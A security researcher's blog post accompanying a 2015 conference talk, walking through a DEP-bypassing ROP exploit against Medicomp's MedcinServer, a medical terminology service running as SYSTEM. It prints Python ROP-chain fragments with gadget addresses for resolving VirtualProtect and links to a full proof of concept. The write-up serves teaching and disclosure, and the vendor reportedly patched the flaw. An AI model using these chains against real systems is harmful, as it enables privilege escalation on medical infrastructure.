I recently presented “Software Vulnerability Discovery and Exploitation during Red Team Assessments” at BSides Charleston 2015 and wanted to give others the ability to follow along with the slides by testing the POC against their own virtual environment. The slides can be found on slideshare here.

The goal of the presentation was to step through the process for identifying possible software targets to further investigate for software vulnerabilities, and then exploit them to aid in privilege escalation or network propagation during red team assessments. Since the focus wasn’t on exploit development, I wanted to explain a little bit about the POC used in the demo portion of the presentation.

A copy of the vulnerable software can be found at the following URL:

http://media.pearsoncmg.com/…/MedcinServer.msi (updated)

To give a little background about the software in the case study, it is developed by Medicomp Systems, and appears to be used in several major Electronic Medical Records systems as a standardized interpreter of medical terminology. The appealing thing about this software from a red teaming perspective, is it listens for remote connections and runs with SYSTEM privilege.

I want to make it a point to say that when Medicomp Systems was contacted about the vulnerability mentioned in this presentation and subsequent vulnerabilities, they were quick to respond and quickly fixed all reported vulnerabilities in a timely manner.

Picking up where I left off in the presentation, in order to bypass DEP on target systems that may have it enabled at the operating system level, I need to use ROP gadgets to call a function that can make the stack executable. Of the possible ways to do this, I decided to use VirtualProtect. We can create a ROP chain that will perform this function for us using Corelan’s mona python script. The Corelan team has an excellent writeup on how to use mona as well as many other invaluable tutorials on basic exploit development on their website.

Unfortunately, the ROP chain created for us with mona, does not have the address for VirtualProtect because it is not used in the application. This means it has to be resolved using the GetModuleHandle and GetProcAddress functions. The ROP chains to call these functions will need to be created manually using the ROP gadgets that were dumped from the binary using the “!mona rop” command inside of Immunity Debugger.

The call to GetModuleHandle is pretty straight forward as its only parameter is a string identifying the module to retrieve a handle for. We will follow the same template as mona’s rop chain and populate each register with the appropriate value before pushing them all on to the stack using PUSHAD and executing the desired function call.

[sourcecode language=”python”] #Get stack address for module name
data += str(0x0042dfa1) + "," # POP EDI # RETN
data += str(0x00471BF0) + "," # Static Address of "Kernel32" string

#Get GetModuleHandle function ptr from IAT
data += str(0x0042b2ae) + "," # POP EAX # RETN
data += str(0x0047104C) + "," # 0x76923475 – Kernel32.GetModuleHandleA
data += str(0x00429141) + "," # MOV EAX,DWORD PTR DS:[EAX] # POP ESI # RETN
data += str(0x41414141) + ","
data += str(0x00419ec2) + "," # XCHG EAX,EDX # ADD AL,BYTE PTR DS:[EAX] # ADD ESP,0C # RETN
data += str(0x41414141) + ","
data += str(0x41414141) + ","
data += str(0x41414141) + ","

#Setup remaining args for GetModuleHandle
data += str(0x00434880) + "," # MOV EAX,EDI # POP EDI # POP ESI # RETN
data += str(0x004202df) + "," # RETN
data += str(0x0041d1ab) + "," # ADD ESP,0C # RETN
data += str(0x0046f602) + "," # POP ECX # RETN
data += str(0x004202df) + "," # RETN
data += str(0x00407b6d) + "," # PUSHAD # ADD EAX,EBX # MOV AX,361 # RETN

[/sourcecode]

Setting up the ROP chain for GetProcAddress is a little trickier. The first parameter is the handle to Kernel32 that we resolved in the previous function call. For the second parameter, however, we need a pointer to a place in memory that holds the “VirtualProtect” string. Initially, we attempted to place the “VirtualProtect” string at the beginning of the input buffer but found part of the string was getting clobbered by the stack frame when we called GetModuleHandle. To solve this problem we placed the “VirtualProtect” string at the end of the input buffer and calculated the relative difference from the string and a stack address inside the GetProcAddress ROP chain.

[sourcecode language=”python”]

#Save kernel32.dll base addr in ecx
data += str(0x0046f602) + "," # POP ECX # RETN
data += str(0x00000001) + "," # RETN
data += str(0x0043344b) + "," # XCHG EAX,ECX # ADD EAX,DWORD PTR FS:[EAX] # ADD ESP,8 # RETN
data += str(0x41414141) + ","
data += str(0x41414141) + ","

#Put readable location in eax and return in edx
data += str(0x0042b2ae) + "," # POP EAX # RETN
data += str(0x00480490) + "," #
data += str(0x004309f7) + "," # POP EDX # ADD EAX,DWORD PTR DS:[EAX] # ADD ESP,4 # RETN
data += str(0x004202df) + ","
data += str(0x41414141) + ","

#Get GetProcAddress function ptr from IAT
data += str(0x0042b2ae) + "," # POP EAX # RETN
data += str(0x004710AC) + "," # 0x76923475 – Kernel32.GetProcAddress
data += str(0x00429141) + "," # MOV EAX,DWORD PTR DS:[EAX] # POP ESI # RETN

#offset to be replaced
data += str(0xdeadbeef) + ","

data += str(0x0040c804) + "," # POP EBX # RETN
data += str(0xffffffff) + ","
data += str(0x00405d9c) + "," # INC EBX # RETN
data += str(0x0042e10d) + "," # ADD EBX,EAX # AND EAX,2 # RETN

#Get a stack address
data += str(0x00446dd7) + "," # XCHG EAX,EBP # RETN
data += str(0x0040270a) + "," # SUB ESI,EAX # MOV EAX,ESI # POP ESI # RETN
data += str(0x00000001) + "," # ADD ESP,8 # RETN
data += str(0x0040270a) + "," # SUB ESI,EAX # MOV EAX,ESI # POP ESI # RETN
data += str(0x0046d84c) + "," # ADD ESP,8 # RETN

#Setup remaining args for GetProcAddress
data += str(0x0042dfa1) + "," # POP EDI # RETN
data += str(0x004202df) + "," # RETN
data += str(0x00407b6d) + "," # PUSHAD # ADD EAX,EBX # MOV AX,361 # RETN 

[/sourcecode]

Once we’ve resolved the address to VirtualProtect, the last step is to add the ROP chain generated by mona to call VirtualProtect and drop into our shellcode. A full POC that spawns calc.exe can be found at https://github.com/securifera/IAVA-2015-A-0127-Exploit.